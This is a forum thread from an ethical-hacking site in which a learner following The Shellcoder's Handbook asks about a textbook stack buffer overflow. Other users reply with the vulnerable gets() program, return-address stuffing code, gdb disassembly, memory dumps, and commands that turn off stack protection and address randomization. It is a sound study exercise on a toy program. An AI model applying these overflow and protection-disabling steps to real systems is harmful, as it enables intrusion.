Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 33 guests online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Programmingarrow C Code Explanation
EH-Net
May 25, 2013, 02:02:54 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: C Code Explanation  (Read 7080 times)
0 Members and 1 Guest are viewing this topic.
IamHe
Newbie
*
Offline Offline

Posts: 11


View Profile
« on: July 20, 2010, 06:47:39 PM »

Could someone please explain exactly what is going on in the following code... actually.. just that pointer line.. not exactly sure whats going on.
Code:
main(){
int i=0;
char stuffing[44];

for (i=0;i<=40;i=+4)
*(long *) &stuffing[i] = 0x08048415;
puts(stuffing);
}

Also, I'm going through the shell coders handbook and have a question..

So we are overflowing the following program:
Code:
main(){
int i=0;
char stuffing[44];

for (i=0;i<=40;i=+4)
*(long *) &stuffing[i] = 0x08048415;
puts(stuffing);
}

I compiled it with the mpreferred-stack-boundary=2 option.

Ran it in the same operating system and CPU type as the examples.. this applies to other examples from other sources as well.. so why is it that the amount of memory the cpu allocates on the stack always different.

In the book when this program is run through gdb and return_input is disassembled.. it shows sub $0x20, %esp a.k.a 32.. but on my computer it shows 0x24 or 36...

shouldn't the buffer be the same?

also, this was the same case when I was following along with the BoF series at securitytube.net ... the funny thing though.. was that the code he provided worked for me.. even though gdb showed that we had different memory sizes allocated...

 Huh

Logged
Ketchup
Hero Member
*****
Offline Offline

Posts: 1021



View Profile
« Reply #1 on: July 21, 2010, 01:28:34 PM »

Code:
*(long *) &stuffing[i] = 0x08048415;

As I understand, you are setting the 4 byte buffer location to a specific address in memory (0x08048415).  You are typecasting the address of the 4 byte buffer as a long pointer and dereferencing it, so that you can set its value.  At least, that's the way I understand it.

Which page of the Shellcoders Handbook are you on? 

You are probably running into some stack randomization and protection with the newer gcc versions.  Try compiling with the -fno-stack-protector option set. 

Logged

~~~~~~~~~~~~~~
Ketchup
sil
Hero Member
*****
Offline Offline

Posts: 549



View Profile WWW
« Reply #2 on: July 21, 2010, 03:19:09 PM »

Which page of the Shellcoders Handbook are you on? 

You are probably running into some stack randomization and protection with the newer gcc versions.  Try compiling with the -fno-stack-protector option set. 

He's on page 21 stack overflows...

Let's plop it open on a newer system (sure life is unfair!)

# gdb function
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>:    push   %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x8,%esp
0x08048362 <main+6>:    movl   $0x2,0x4(%esp)
0x0804836a <main+14>:   movl   $0x1,(%esp)
0x08048371 <main+21>:   call   0x8048354 <function>
0x08048376 <main+26>:   movl   $0x8048498,(%esp)
0x0804837d <main+33>:   call   0x8048290 <printf@plt>
0x08048382 <main+38>:   leave
0x08048383 <main+39>:   ret
End of assembler dump.
(gdb)


Notice the differences in compiling on two different machines?

For function return_input we have:

# gdb function
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048412 <main+0>:    push   %ebp
0x08048413 <main+1>:    mov    %esp,%ebp
0x08048415 <main+3>:    call   0x80483f4 <return_input>
0x0804841a <main+8>:    mov    $0x0,%eax
0x0804841f <main+13>:   pop    %ebp
0x08048420 <main+14>:   ret
End of assembler dump.


Not to omit the errors:

strategos ~ # gcc -mpreferred-stack-boundary=2 -fno-stack-protector  -ggdb void.c -o function
/tmp/ccDrZEEj.o: In function `return_input':
/root/void.c:7: warning: the `gets' function is dangerous and should not be used.

Anyhow, see the difference in return address (0x80483f4). What is your return address when you compiled the original?

...
Code:
main (){
int i=0;
char stuffing[44];

for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x80483f4;
puts(stuffing);
}

Notice the address?

stuffing ... 0x80483f4;

What is your output from function when you disassembled it?
Logged

sil
Hero Member
*****
Offline Offline

Posts: 549



View Profile WWW
« Reply #3 on: July 21, 2010, 03:53:55 PM »

To be fair, I went back to the root of it all.... RHEL9


Code:
[root@localhost root]# vi function.c
[root@localhost root]# gcc -mpreferred-stack-boundary=2 -ggdb function.c -o function
[root@localhost root]# ./function
Address pointer[root@localhost root]# gdb function
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048330 <main+0>:    push   %ebp
0x08048331 <main+1>:    mov    %esp,%ebp
0x08048333 <main+3>:    push   $0x2
0x08048335 <main+5>:    push   $0x1
0x08048337 <main+7>:    call   0x8048328 <function>
0x0804833c <main+12>:   add    $0x8,%esp
0x0804833f <main+15>:   push   $0x80483fc
0x08048344 <main+20>:   call   0x8048268 <printf>
0x08048349 <main+25>:   add    $0x4,%esp
0x0804834c <main+28>:   leave
0x0804834d <main+29>:   ret
End of assembler dump.

Magic number: 0x8048328

What likely confused you is your next disassemble call:

In the book you will see disas main again when it should be disas function:


(gdb) disas function

Code:
(gdb) disas function
Dump of assembler code for function function:
0x08048328 <function+0>:        push   %ebp
0x08048329 <function+1>:        mov    %esp,%ebp
0x0804832b <function+3>:        sub    $0x20,%esp
0x0804832e <function+6>:        leave
0x0804832f <function+7>:        ret
End of assembler dump.
(gdb)


[root@localhost root]# vi overflow.c
[root@localhost root]# gcc -mpreferred-stack-boundary=2 -ggdb overflow.c -o overflow
[root@localhost root]# gdb overflow
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048381 <main+0>:    push   %ebp
0x08048382 <main+1>:    mov    %esp,%ebp
0x08048384 <main+3>:    call   0x804835c <return_input>
0x08048389 <main+8>:    mov    $0x0,%eax
0x0804838e <main+13>:   leave
0x0804838f <main+14>:   ret
End of assembler dump.
(gdb)


[root@localhost root]# (./stuffing|cat) | ./overflow
A
B`Ć

Segmentation fault

[root@localhost root]# cat stuffing.c
main(){

int i=0;
char stuffing[44];

for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x804835c;
puts(stuffing);
}

What part is not working for you?
Logged

IamHe
Newbie
*
Offline Offline

Posts: 11


View Profile
« Reply #4 on: July 22, 2010, 06:33:49 PM »

Thank you for the responses Cheesy. I'll get back to you with more details on my memory prob.
Logged
IamHe
Newbie
*
Offline Offline

Posts: 11


View Profile
« Reply #5 on: August 05, 2010, 07:08:27 PM »

Alright.. here it is.

Overflowing following program:
Code:
void return_input (void) {
char array[30];

gets (array);
printf("%s\n", array);
}

main () {
return_input();

return 0;

}

2. Disas main to get memory location where return_input is called.

Code:
Dump of assembler code for function main:
0x08048412 <main+0>:    push   %ebp
0x08048413 <main+1>:    mov    %esp,%ebp
[b]0x08048415[/b] <main+3>:    call   0x80483f4 <return_input>
0x0804841a <main+8>:    mov    $0x0,%eax
0x0804841f <main+13>:   pop    %ebp
0x08048420 <main+14>:   ret

As you can see, it is called at 0x0804841 I'm confused why you used the actual location of <return_input>

3. I then check to see how much space is reserved for return_input by disas return_input

Code:
Dump of assembler code for function return_input:
0x080483f4 <return_input+0>:    push   %ebp
0x080483f5 <return_input+1>:    mov    %esp,%ebp
0x080483f7 <return_input+3>:    sub    [b]$0x24[/b],%esp
0x080483fa <return_input+6>:    lea    -0x1e(%ebp),%eax
0x080483fd <return_input+9>:    mov    %eax,(%esp)
0x08048400 <return_input+12>:   call   0x8048308 <gets@plt>
0x08048405 <return_input+17>:   lea    -0x1e(%ebp),%eax
0x08048408 <return_input+20>:   mov    %eax,(%esp)
0x0804840b <return_input+23>:   call   0x8048328 <puts@plt>
0x08048410 <return_input+28>:   leave
0x08048411 <return_input+29>:   ret

As you can see.. it reserves 0x24 which in binary is 36. i don't understand why it reserves 36 but in the example in the book it only reserves 0x20 aka 32 .. its the same program.. with the same variable sizes..??

so then the example program used to overwrite the memory locations with the pointer to the <return_input> call is:

Code:
main(){
int i=0;
char stuffing[44];

for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x80483f4;
puts(stuffing);
}

Since I have 4 bytes extra.. i changed both values to:

Code:
main(){
int i=0;
char stuffing[48];

for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048415;
puts(stuffing);
}

Makes sense.. right?

BTW.. why is stuffing 4 bytes larger.. is there something appended to the end like in strings?

Anyways.. in the end when I feed the program into the overflow program.. it doesn't work.

Below.. i execute the command (./address_to_char;cat) | ./overflow and then it waits for input, i type in "input" and it exits. Completely different then what the book shows.. so it isn't working.. or is it? is the ./address_to_char the first input the program expects .. and my input "input" the second input because it goes back to return_addr?

Code:
(./address_to_char;cat) | ./overflow
input

The book shows something like this:

Code:
(./address_to_char;cat) | ./overflow
input
<<<<<<<<<<<<<a<u____,input
input
input

(page 22)

Lastly.. the command (./address_to_char;cat) | ./overflow .. what exactly is going on there..i thought to input the output of a program to another you would use the ">" command.

If anyone could help me out it would be awesome.. because I can't continue until I understand these basics Cheesy.

Thanks!


Edit: I also used the following options:

-fno-stack-protector

echo 0 > /proc/sys/kernel/randomize_va_space - disable virtual address randomization

gcc -mpreferred-stack-boundary=2 -ggdb
« Last Edit: August 05, 2010, 07:13:08 PM by IamHe » Logged
Equix3n-
Sr. Member
****
Offline Offline

Posts: 386



View Profile
« Reply #6 on: August 06, 2010, 01:36:38 AM »

I don't have the book so I can't help you much.

I compiled your program with and without -mpreferred-stack-boundary=2 option. When th option is set my disassembly for main and return_input is.
Quote
(gdb) disas main
Dump of assembler code for function main:
0x0804847b <main+0>:   push   %ebp
0x0804847c <main+1>:   mov    %esp,%ebp
0x0804847e <main+3>:   call   0x8048454 <return_input>
0x08048483 <main+8>:   mov    $0x0,%eax
0x08048488 <main+13>:   pop    %ebp
0x08048489 <main+14>:   ret    
End of assembler dump.
Quote
(gdb) disas return_input
Dump of assembler code for function return_input:
0x08048454 <return_input+0>:   push   %ebp
0x08048455 <return_input+1>:   mov    %esp,%ebp
0x08048457 <return_input+3>:   sub    $0x28,%esp
0x0804845a <return_input+6>:   lea    -0x1e(%ebp),%eax
0x0804845d <return_input+9>:   mov    %eax,(%esp)
0x08048460 <return_input+12>:   call   0x8048368 <gets@plt>
0x08048465 <return_input+17>:   mov    $0x8048560,%eax
0x0804846a <return_input+22>:   lea    -0x1e(%ebp),%edx
0x0804846d <return_input+25>:   mov    %edx,0x4(%esp)
0x08048471 <return_input+29>:   mov    %eax,(%esp)
0x08048474 <return_input+32>:   call   0x8048388 <printf@plt>
0x08048479 <return_input+37>:   leave  
0x0804847a <return_input+38>:   ret    
End of assembler dump.

As you can see, for me the stack shifted 40 decimal bytes.

Compiling without -mpreferred-stack-boundary=2
Quote
(gdb) disas main
Dump of assembler code for function main:
0x0804847b <main+0>:   push   %ebp
0x0804847c <main+1>:   mov    %esp,%ebp
0x0804847e <main+3>:   and    $0xfffffff0,%esp
0x08048481 <main+6>:   call   0x8048454 <return_input>
0x08048486 <main+11>:   mov    $0x0,%eax
0x0804848b <main+16>:   mov    %ebp,%esp
0x0804848d <main+18>:   pop    %ebp
0x0804848e <main+19>:   ret    
End of assembler dump.
Quote
(gdb) disas return_input
Dump of assembler code for function return_input:
0x08048454 <return_input+0>:   push   %ebp
0x08048455 <return_input+1>:   mov    %esp,%ebp
0x08048457 <return_input+3>:   sub    $0x38,%esp
0x0804845a <return_input+6>:   lea    -0x26(%ebp),%eax
0x0804845d <return_input+9>:   mov    %eax,(%esp)
0x08048460 <return_input+12>:   call   0x8048368 <gets@plt>
0x08048465 <return_input+17>:   mov    $0x8048560,%eax
0x0804846a <return_input+22>:   lea    -0x26(%ebp),%edx
0x0804846d <return_input+25>:   mov    %edx,0x4(%esp)
0x08048471 <return_input+29>:   mov    %eax,(%esp)
0x08048474 <return_input+32>:   call   0x8048388 <printf@plt>
0x08048479 <return_input+37>:   leave  
0x0804847a <return_input+38>:   ret    
End of assembler dump.
Stack moved 56 bytes down.

I then set one breakpoint before gets is called and one after, for both of the above cases.

For the first case ( -mpreferred-s.....)
Quote
Breakpoint 2, 0x08048465 in return_input ()
(gdb) x/20x 0xbffff0c8
0xbffff0c8:   0xbffff0d2   0x080484c1  0x41410000   0x41414141
0xbffff0d8:   0x41414141 0x41414141 0x41414141   0x41414141
0xbffff0e8:   0x41414141 0x41414141 0x00414141   0x08048483
0xbffff0f8:   0x00000000 0xb7e81ace 0x00000001   0xbffff194
0xbffff108:   0xbffff19c   0xffffffff   0xb7ffeff4   0x080482a5
For the first case, as you can see the first 10 decimal bytes weren't filled at all. Where 0xbffff0c8 is the stack pointer just before gets() was called. So the 40 bytes shift minus 10 bytes not filled space = 30 bytes buffer.
0x08048483 is the return address.
My solution for you ends here. I'm still a beginner ]

Now for the strange part and hopefully, if someone answers it, it might help you too (you still reading it? Wink)
For the second case (without -mpreferr.....)
Quote
(gdb) x/20x 0xbffff0b0
0xbffff0b0:   0xbffff0c2   0x08049ff4 0xbffff0c8        0x08048344
0xbffff0c0:   0x41410000 0x41414141 0x41414141   0x41414141
0xbffff0d0:   0x41414141 0x41414141 0x41414141   0x41414141
0xbffff0e0:   0x08048400 0xb7e993c5  0xbffff0f8     0x08048486
0xbffff0f0:   0x080484a0 0x00000000 0x00000000   0xb7e81ace
(gdb) quit

Clearly, the first 18 decimal bytes weren't filled. So 56 bytes shift in ESP minus 18 bytes unfilled space=38 bytes buffer. But this time I get a segmentation fault even when overflow overwrites the 'old' base pointer. I don't know why. This could be because of -mpreferred-stack-boundary not set.
Quote
Breakpoint 2, 0x08048465 in return_input ()
(gdb) x/20x 0xbffff0b0
0xbffff0b0:   0xbffff0c2   0x08049ff4 0xbffff0c8   0x08048344
0xbffff0c0:   0x41410000 0x41414141 0x41414141   0x41414141
0xbffff0d0:   0x41414141 0x41414141 0x41414141   0x41414141
0xbffff0e0:   0x41414141 0x41414141 0xbffff000   0x08048486
0xbffff0f0:   0x080484a0 0x00000000 0x00000000   0xb7e81ace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff080 in ?? ()
0xbffff000 is the overwritten value of 'old' base pointer. bffff0 is the original value from the old base pointer and the last 00 is the null byte from the string (AA...).
« Last Edit: August 06, 2010, 01:39:16 AM by Equix3n- » Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.083 seconds with 22 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.